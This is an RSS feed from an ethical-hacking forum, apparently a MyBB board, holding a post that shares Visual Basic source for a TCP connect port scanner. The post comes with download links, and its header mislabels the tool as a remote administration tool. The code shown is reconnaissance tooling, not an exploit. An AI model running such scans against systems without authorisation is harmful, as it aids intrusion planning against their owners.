<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Hack Community - The Best Ethical Hacking Forums - Official HC Programs]]></title>
		<link>http://www.hackcommunity.com/</link>
		<description><![CDATA[Hack Community - The Best Ethical Hacking Forums - http://www.hackcommunity.com]]></description>
		<pubDate>Sat, 25 May 2013 20:09:29 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[[HC Official] Port Scanner]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Port-Scanner</link>
			<pubDate>Tue, 21 May 2013 20:18:43 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Port-Scanner</guid>
			<description><![CDATA[<div style="text-align: center;"><span style="font-size: x-large;">Hack Community Remote Administration Tool</span></div>
<div style="text-align: center;"><span style="font-size: large;">Version 1.2 [IS OUT NOW!!]</span></div>
<br />
<span style="font-size: medium;">Hello Guest.<br />
I have written a port scanner in VB for the community's own use.</span><br />
<br />
<span style="font-size: medium;">Download Links:</span><br />
<a href="http://static_cast.home.comcast.net/ports.zip" target="_blank">http://static_cast.home.comcast.net/ports.zip</a><br />
<a href="https://dl.dropboxusercontent.com/u/125590256/ports.zip" target="_blank">https://dl.dropboxusercontent.com/u/125590256/ports.zip</a><br />
<a href="http://postimg.org/image/jg3tip5lz/" target="_blank"><img src="http://s7.postimg.org/jg3tip5lz/ns1.jpg" border="0" alt="[Image: ns1.jpg]" /></a><a href="http://postimg.org/image/p49dbkdav/" target="_blank"><img src="http://s23.postimg.org/p49dbkdav/ns2.jpg" border="0" alt="[Image: ns2.jpg]" /></a><a href="http://postimg.org/image/o3p9fjaxn/" target="_blank"><img src="http://s9.postimg.org/o3p9fjaxn/results.jpg" border="0" alt="[Image: results.jpg]" /></a><br />
<br />
<span style="font-size: medium;">Donate HC Coins:</span><br />
<a href="http://www.hackcommunity.com/newpoints.php?action=donate" target="_blank">http://www.hackcommunity.com/newpoints.p...ion=donate</a><br />
<br />
<span style="font-size: medium;">VB Code:</span><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Option Strict On<br />
Imports System.Net.Sockets<br />
Imports System.IO<br />
<br />
Public Class Form1<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim startTime As DateTime<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Function ScanPort(address As String, port As Integer, timeout As Integer) As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim client As New TcpClient<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim connected As Boolean<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;client.BeginConnect(address, port, Nothing, Nothing)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To timeout<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Threading.Thread.Sleep(1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If client.Connected = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;connected = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;index = timeout<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As SocketException<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;connected = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finally<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;client.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If connected = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Add("Port " + port.ToString() + " status: Open")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TextBox3.AppendText(port.ToString() + ",")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Add("Port " + port.ToString() + " status: Closed")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return connected<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Function<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim endTime As DateTime<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim totalTime As TimeSpan<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;startTime = Now<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TextBox3.Clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim address As String = TextBox1.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim ports As String = TextBox2.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim timeout As String = TextBox4.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim temp1(), temp2() As String<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp1 = Split(ports, ",")<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For Each item In temp1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If CBool(InStr(item, "-")) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp2 = Split(item, "-")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index As Integer = CInt(temp2.ElementAt(0)) To CInt(temp2.ElementAt(1))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ScanPort(address, index, CInt(timeout))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ScanPort(address, CInt(item), CInt(timeout))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;endTime = Now<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;totalTime = endTime - startTime<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label9.Text = CStr(totalTime.Hours) + ":" + CStr(totalTime.Minutes) + ":" + CStr(totalTime.Seconds) + "." + CStr(totalTime.Milliseconds)<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim openPorts() As String = Split(TextBox3.Text, ",")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim results(ListBox1.Items.Count) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim totalTime As String = Label9.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim filename As String = "results_" &amp; startTime.ToString("yyyy-MM-dd_HH-mm-ss") &amp; ".txt"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox(filename)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To ListBox1.Items.Count - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;results(index) = ListBox1.Items(index).ToString()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Using writer As StreamWriter = New StreamWriter(filename, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Scan started at " + startTime.ToString("yyyy-MM-dd [HH-mm-ss]") + ".&nbsp;&nbsp;Elapsed time: " + totalTime)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("host: " + TextBox1.Text + " | ports: " + TextBox2.Text + " | timeout: " + TextBox4.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Open ports:")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To openPorts.Length - 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Port " + openPorts(index) + " is open.")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Scan details:")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To results.Length - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine(results(index))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Using<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox(ex.Message())<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
End Class</code></div></div>
<br />
<span style="font-size: medium;">Known Issues:</span><br />
_☐_ - None<br />
<br />
<span style="font-size: medium;">Update 1.3 Features:</span><br />
_☐_ - None<br />
<br />
<span style="font-size: medium;">Future Features:</span><br />
_☐_ - Skins<br />
_☑_ - Saved searches<br />
<br />
--<br />
I wouldn't mind 10 HC coins per download, eh?☑☐]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;"><span style="font-size: x-large;">Hack Community Remote Administration Tool</span></div>
<div style="text-align: center;"><span style="font-size: large;">Version 1.2 [IS OUT NOW!!]</span></div>
<br />
<span style="font-size: medium;">Hello Guest.<br />
I have written a port scanner in VB for the community's own use.</span><br />
<br />
<span style="font-size: medium;">Download Links:</span><br />
<a href="http://static_cast.home.comcast.net/ports.zip" target="_blank">http://static_cast.home.comcast.net/ports.zip</a><br />
<a href="https://dl.dropboxusercontent.com/u/125590256/ports.zip" target="_blank">https://dl.dropboxusercontent.com/u/125590256/ports.zip</a><br />
<a href="http://postimg.org/image/jg3tip5lz/" target="_blank"><img src="http://s7.postimg.org/jg3tip5lz/ns1.jpg" border="0" alt="[Image: ns1.jpg]" /></a><a href="http://postimg.org/image/p49dbkdav/" target="_blank"><img src="http://s23.postimg.org/p49dbkdav/ns2.jpg" border="0" alt="[Image: ns2.jpg]" /></a><a href="http://postimg.org/image/o3p9fjaxn/" target="_blank"><img src="http://s9.postimg.org/o3p9fjaxn/results.jpg" border="0" alt="[Image: results.jpg]" /></a><br />
<br />
<span style="font-size: medium;">Donate HC Coins:</span><br />
<a href="http://www.hackcommunity.com/newpoints.php?action=donate" target="_blank">http://www.hackcommunity.com/newpoints.p...ion=donate</a><br />
<br />
<span style="font-size: medium;">VB Code:</span><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Option Strict On<br />
Imports System.Net.Sockets<br />
Imports System.IO<br />
<br />
Public Class Form1<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim startTime As DateTime<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Function ScanPort(address As String, port As Integer, timeout As Integer) As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim client As New TcpClient<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim connected As Boolean<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;client.BeginConnect(address, port, Nothing, Nothing)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To timeout<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Threading.Thread.Sleep(1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If client.Connected = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;connected = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;index = timeout<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As SocketException<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;connected = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finally<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;client.Close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If connected = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Add("Port " + port.ToString() + " status: Open")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TextBox3.AppendText(port.ToString() + ",")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Add("Port " + port.ToString() + " status: Closed")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return connected<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Function<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim endTime As DateTime<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim totalTime As TimeSpan<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;startTime = Now<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TextBox3.Clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim address As String = TextBox1.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim ports As String = TextBox2.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim timeout As String = TextBox4.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim temp1(), temp2() As String<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp1 = Split(ports, ",")<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For Each item In temp1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If CBool(InStr(item, "-")) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp2 = Split(item, "-")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index As Integer = CInt(temp2.ElementAt(0)) To CInt(temp2.ElementAt(1))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ScanPort(address, index, CInt(timeout))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ScanPort(address, CInt(item), CInt(timeout))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;endTime = Now<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;totalTime = endTime - startTime<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label9.Text = CStr(totalTime.Hours) + ":" + CStr(totalTime.Minutes) + ":" + CStr(totalTime.Seconds) + "." + CStr(totalTime.Milliseconds)<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim openPorts() As String = Split(TextBox3.Text, ",")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim results(ListBox1.Items.Count) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim totalTime As String = Label9.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim filename As String = "results_" &amp; startTime.ToString("yyyy-MM-dd_HH-mm-ss") &amp; ".txt"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox(filename)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To ListBox1.Items.Count - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;results(index) = ListBox1.Items(index).ToString()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Using writer As StreamWriter = New StreamWriter(filename, False)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Scan started at " + startTime.ToString("yyyy-MM-dd [HH-mm-ss]") + ".&nbsp;&nbsp;Elapsed time: " + totalTime)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("host: " + TextBox1.Text + " | ports: " + TextBox2.Text + " | timeout: " + TextBox4.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Open ports:")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For index = 0 To openPorts.Length - 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Port " + openPorts(index) + " is open.")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer.WriteLine("Scan details:")<br />
